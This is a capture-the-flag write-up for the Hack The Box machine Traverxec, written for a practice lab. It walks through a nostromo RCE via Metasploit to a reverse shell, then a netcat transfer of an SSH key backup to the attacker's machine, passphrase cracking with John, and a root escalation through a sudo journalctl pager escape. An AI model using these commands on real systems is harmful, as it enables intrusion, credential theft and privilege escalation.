Hack The Box: Traverxec

Jump Ahead: EnumInitial AccessUserRootResources


To solve this machine, we begin by enumerating open services – finding ports 22 & 80 to be open. The webserver is nostromo version 1.9.6, which we learn is vulnerable to remote code execution. Exploiting this, we get access to the machine as www-data. Looking at the configuration for nostromo, we learn that user directories are enabled with their webserver files located in public_www/ of each user’s home directory. Examining that directory for david, we find a compressed backup of his ssh key. After extracting david’s encrypted ssh key, and cracking the encryption password, we SSH into the machine as david. We now have user.txt. Traversing david’s home directory, we find a script that makes use of journalctl, which we are able to exploit – getting a root shell on the box. We now have root.txt.


Like all machines, we begin by enumerating services using nmap. Doing so, we see that only ports 22 and 80 are open.

$ nmap -p- --min-rate 3000
$  nmap -p22,80 -A -oA scans/nmap-all-scripts

# Nmap 7.80 scan initiated Fri Mar 27 09:30:56 2020 as: nmap -p22,80 -A -oA scans/nmap-all-scripts
Nmap scan report for
Host is up (0.045s latency).

22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
| ssh-hostkey: 
|   2048 aa:99:a8:16:68:cd:41:cc:f9:6c:84:01:c7:59:09:5c (RSA)
|   256 93:dd:1a:23:ee:d7:1f:08:6b:58:47:09:73:a3:88:cc (ECDSA)
|_  256 9d:d6:62:1e:7a:fb:8f:56:92:e6:37:f1:10:db:9b:ce (ED25519)
80/tcp open  http    nostromo 1.9.6
|_http-server-header: nostromo 1.9.6
|_http-title: TRAVERXEC
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Next, we start to enumerate the web server using gobuster, however, we do not find any interesting files or directories.

Getting Initial Access

Looking at the webserver version that nmap tells us, we do a little research on nostromo 1.9.6. Doing so, we find that this particular version is vulnerable to Remote Code Execution (RCE). Using Metasploit ( exploit/multi/http/nostromo_code_exec), we are able to get a reverse shell on the machine as the www-data user.

Since this is a perl-based reverse shell, we use msfvenom to generate a native 64-bit meterpreter reverse shell. We setup our handler, then upload and run the native reverse shell.

Getting User

Reading the documentation for nostromo, we learn that if the setting is enabled within the config file, users can have their own personal directory accessible via the webserver. According to the documentation, this is done by going to /~username via the webserver. We know that david is a valid user, so we can try his directory.

Further, from the documentation “You can restrict the access within the home directories to a single sub directory by defining it via the homedirs_public option.” Since we are able to view the index file via the webrowser (and because the documentation tells us), we know we have read access to david’s web directory. Rather than bruteforcing files via the webserver, we can browse to that homedirs_public directory via our reverse shell to look for more files. Looking at the nhttpd.conf file, we see that homedirs_public is set to public_www – meaning `/home/david/public_www`should be world readable.

$ find / -name nhttpd.conf -exec cat '{}' \; 2>/dev/null

Next, let’s list the contents of that directory.

Seeing there is a “protected file area” directory, let’s change to the directory, and recursively list all contents. Doing so, we see there is an archive backup of ssh identity files. We can use netcat to transfer the file to our local machine so that we may extract it.

#On our machine
$ nc -lvnp 3117 > backup-ssh-identity-files.tgz

#In our reverse shell
$ nc 3117 < ./protected-file-area/backup-ssh-identity-files.tgz

Then we can extract the archive on our machine.

$ tar xzvf backup-ssh-identity-files.tgz

After extracting the key file, we can attempt to use it in order to SSH into the machine as david.

$ ssh -i home/david/.ssh/id_rsa @david@

As we can see, the key is password protected, so we need to crack the password. To do this, we can use ssh2john.py to create a hash of that password that we can crack. Next, we can use JohnTheRipper to crack the password.

$ /usr/share/john/ssh2john.py id_rsa | sudo john --wordlist=/opt/khaotic/wordlists/rockyou.txt /dev/stdin

This reveals that the SSH key password is hunter, which we can now use to SSH into the machine. Once we are on the machine, we can now read user.txt.

Getting Root

Looking at david’s home directory, we see directory named bin/. Looking in this directory, we see a file named server-stats.sh.

Looking at this file, we see that journalctl is executed with root privileges. Trying to run the last line of code alone shows that we do not need to supply a password to run /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service.

According to its manage, journalctl pipes it’s output through a pager (by default less). From GTFOBins, we know that we have the ability to spawn a shell from less. Since less will be called from a process ran as root, the shell will also be run as root. Because journalctl is only printing 5 lines, the pager (less) doesn’t initiate paging. In order for this exploit to work, we will need to change our terminal size to something less than 5 lines.

$ stty rows 3

Once we do this, we can rerun the journalctl command. Once we get to the paging, all we need to do is type !bash, and we will have a shell as root.

Once we have our root shell, we now have access to root.txt!

Thank you for taking the time to read my write-up. I am interested in other ways this machine has been solved. Feel free to reach out to me and we can discuss it. Thanks!